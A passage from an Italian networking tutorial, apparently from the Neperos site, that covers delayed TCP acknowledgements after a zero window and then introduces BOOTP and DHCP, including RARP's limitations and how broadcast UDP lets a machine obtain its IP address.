riempie e quindi la finestra ha dimensione 0 B aspetti prima di aggiornare la
larghezza almeno fino a quando questa non e' meta' del buffer o almeno la
grandezza massima di un segmento. Esistono due modi per ottenere questo nella
pratica, il primo prevede che ognivolta che si raggiunge 0 tutti i segmenti
che arrivano successivamente vengano riconfermati con un ack ma che gli ack
non abbiano campo window valido, in altre parole si aspetta di riallargare la
finestra convalidando i segmenti che arrivano. L'altro modo che e' quello
piu' usato prevede che dopo aver raggiunto lo zero si ritardi l'invio
dell'ack successivo. Questo da' il tempo al buffer di svuotarsi e quando
l'ack viene mandato si puo' settare una nuova larghezza. Ovviamente non e'
semplice definire quanto si debba ritardare, come pro si ha che aspettando si
possono mandare nello stesso ack conferme di piu' di un segmento ma
ovviamente come contro di ha il rallentamento della connessione. Si fissa
quindi un limite di 500 millisecondi e si limita il numero di attese il piu'
possibile.


******************PARTE III PROTOCOLLI DELL'APPLICATION LAYER*****************


BOOTSTRAP E AUTOCONFIGURAZIONE (BOOTP,DHCP)

Ovvero come ottenere un indirizzo ip e gli altri dati che servono ad una
macchina per poter connettersi. Sappiamo che una macchina collegata ad una
LAN qualsiasi possiede un idirizzo fisico e attraverso il protocollo RARP
quando la macchina si collega in rete gli viene assegnato un indirizzo ip.
RARP presenta tre svantaggi :

1- La comunicazione si basa su indirizzi fisici quindi presuppone una certa
conoscenza dell'hardware delle macchine

2- Viene scambiato solo l'idirizzo IP con quello fisico, non possono essere
inoltrate altre informazioni

3- Quando le macchine su una LAN non sono fisse gli indirizzi fisici cambiano
e RARP non puo' essere utilizzato, in particolare per connessioni utente-isp
(quella di casa per intenderci) le macchine che si connettono all'isp sono
tante, diverse, cambiano di numero, non si puo' tenere una tabella dove
si associa ip-mac.

Il punto due riguarda soprattutto macchine senza disco fisso, ovvero macchine
che per avviarsi devono ricevere la procedura di boot dall'esterno ma vale
anche per tutte quelle macchine che vengono inserite in una rete per la prima
volta e non conoscono il proprio ip, la propria subnet mask e l'indirizzo del
router piu' vicino.

I protocolli che si usano per ottenere questi dati sono il BOOTP e il DHCP dove
il secondo e' l'evoluzione del primo, iniziamo descrivendo il BOOTP e poi
vediamo le differenze.
Per evitare di utilizzare gli indirizzi fisici delle macchine si utilizza il
protocollo UDP; la cosa puo' sembrare strana infatti l'UDP si basa sull'IP ma
se una macchina non conosce il proprio ip come puo' utilizzare l'UDP? si
sfrutta una caratterstica implementata nei programmi che si occupano della
gestione del protocollo, ovvero che una macchina anche se non possiede un
indirizzo ip puo' comunque inviare e ricevere datagram mandati come
broadcast all'indirizzo 255.255.255.255 . Cosi' se la macchina A vuole ricevere
il proprio ip da una apposita macchina B di cui non conosce l'indirizzo fa un
broadcast di un messaggio in formato BOOTP e aspetta una risposta da B.

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT